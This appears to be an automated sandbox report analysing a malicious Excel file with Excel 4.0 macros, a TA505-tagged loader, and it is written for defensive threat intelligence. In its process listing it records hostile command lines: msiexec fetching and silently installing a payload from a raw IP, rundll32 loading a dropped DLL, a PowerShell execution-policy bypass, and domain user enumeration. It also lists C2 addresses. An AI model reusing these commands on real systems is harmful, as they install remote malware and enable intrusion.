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File name:

inf_2019032173644.xls

Full analysis: https://app.any.run/tasks/685d5dd2-c525-4a7e-be2c-885a7c520c06
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 13:45:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
exe-to-msi
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Thu Mar 21 06:42:12 2019, Security: 0
MD5:

78EA9835C2D7F6760315EA043807B8C8

SHA1:

1E5ED2C3F2254C91D1B3E75431142D19CE530B7F

SHA256:

4C6EC69AF9DFB446273A38BE73BE83A613018B1B6A64AB1386CC798637A63832

SSDEEP:

1536:qKpb8rGYrMPelwhKmFV5xtezEsgrdgDXojNN9PeOCEz81Cr+hqTGuWeZfuwqIlNG:qKpb8rGYrMPelwhKmFV5xtezEsgrdgjT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2728)

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 2728)

    • Application was dropped or rewritten from another process

      • ns1D9F.tmp (PID: 3848)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 1548)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 1644)

    • Downloads executable files from IP

      • msiexec.exe (PID: 1644)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2560)

    • Starts NET.EXE to view/add/change user profiles

      • cmd.exe (PID: 3612)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 1644)
      • MSI1CC4.tmp (PID: 2804)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 1644)

    • Starts CMD.EXE for commands execution

      • ns1D9F.tmp (PID: 3848)
      • rundll32.exe (PID: 1548)

    • Starts application with an unusual extension

      • MSI1CC4.tmp (PID: 2804)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2392)

    • Creates files in the user directory

      • powershell.exe (PID: 3076)

  • INFO

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 1644)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 1644)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2728)

    • Loads dropped or rewritten executable

      • MSI1CC4.tmp (PID: 2804)

    • Application was dropped or rewritten from another process

      • MSI1CC4.tmp (PID: 2804)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
TitleOfParts:
  • 1
  • 2
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: Microsoft Corporation
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2019:03:21 06:42:12
CreateDate: 2018:12:19 10:42:12
Software: Microsoft Excel
LastModifiedBy: 1
Author: Microsoft Office
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
12
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi1cc4.tmp ns1d9f.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2728"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
2852msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1644C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2804"C:\Windows\Installer\MSI1CC4.tmp"C:\Windows\Installer\MSI1CC4.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
3848"C:\Users\admin\AppData\Local\Temp\nsk1D9E.tmp\ns1D9F.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nsk1D9E.tmp\ns1D9F.tmp—MSI1CC4.tmp
User:
admin
Integrity Level:
MEDIUM
2392"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exe—ns1D9F.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1548rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2560cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3076powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3612cmd.exe /C net user /domainC:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 044
Read events
938
Write events
99
Delete events
7

Modification events

(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:,%:
Value:
2C253A00A80A0000010000000000000000000000
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
A80A0000E0D10055ECDFD40100000000
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:,%:
Value:
2C253A00A80A0000010000000000000000000000
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2728) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\FFDD0
Operation:writeName:FFDD0
Value:
04000000A80A00003700000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0069006E0066005F0032003000310039003000330032003100370033003600340034002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0001000000000000006081FD55ECDFD401D0FD0F00D0FD0F0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
6
Suspicious files
4
Text files
10
Unknown types
4

Dropped files

PID
Process
Filename
Type
2728EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRF91C.tmp.cvr —
MD5:—
SHA256:—
1644msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF70D5C7540B266DB2.TMP —
MD5:—
SHA256:—
3076powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\89YCLGROGRPB2DVQFRZP.temp —
MD5:—
SHA256:—
1644msiexec.exeC:\Windows\Installer\101b8a.ipibinary
MD5:9A2FBC3E6E8F3DDE8A95F06C4B9C7754
SHA256:90E33E39D968AB0175C7F7E5E5B7E2F939B9838843EB3E5EBD694CA5F86A5D49
1644msiexec.exeC:\Windows\Installer\MSI1CC4.tmpexecutable
MD5:DDAE8B7AA9A93CE17610EB063F5838CE
SHA256:E0323064F2561AE02F9EFAE418AEAF433B3FE0E6E3A640A9C46EC404D4563DE1
2804MSI1CC4.tmpC:\Users\admin\AppData\Local\Temp\2.lnklnk
MD5:BFDA100C2049DA534D6FC920BBACD486
SHA256:503CB60D119B783ACFB2E25ACC11CAE78485B13F8DA43D70B3A2D1D1A02BB86F
1644msiexec.exeC:\Windows\Installer\MSI1BE7.tmpbinary
MD5:7BC02ABA6199324EC45B2D1EE3CBABF4
SHA256:E6D9456C25D43948E705FC2215EF07E6F476AD60155BAC7102B6CA8D0256DBED
1548rundll32.exeC:\Users\admin\AppData\Local\Temp\enu.ps1text
MD5:6D3EA32EB833D773CBF7B7119AA384AD
SHA256:DA7465F14CD8A934668F59974E8836E02A9B1FF948BFE964040B840AB61697DC
2804MSI1CC4.tmpC:\Users\admin\AppData\Local\Temp\nsk1D9E.tmp\ns1D9F.tmpexecutable
MD5:E2347A65B30CCC5B2C4230DAAEEFB897
SHA256:79FD3041AB85E378839D2E3CF155FC91A2D541304D209F5D1D57AC7D791190EC
2804MSI1CC4.tmpC:\Users\admin\AppData\Local\Temp\xmlparse.dllexecutable
MD5:6675C63A2534FD65B3B2DA751F2B393F
SHA256:BEE3B2710F7E874CE05E6B8B45CC20E021B9C00EE337238598E71E7315128333
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1644
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
1548
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
22 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1644
msiexec.exe
169.239.128.104:80
—
Zappie Host LLC
ZA
suspicious
1548
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
1644
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1644
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
1644
msiexec.exe
Generic Protocol Command Decode
SURICATA STREAM excessive retransmissions
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
1548
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
inf_2019032173644.xls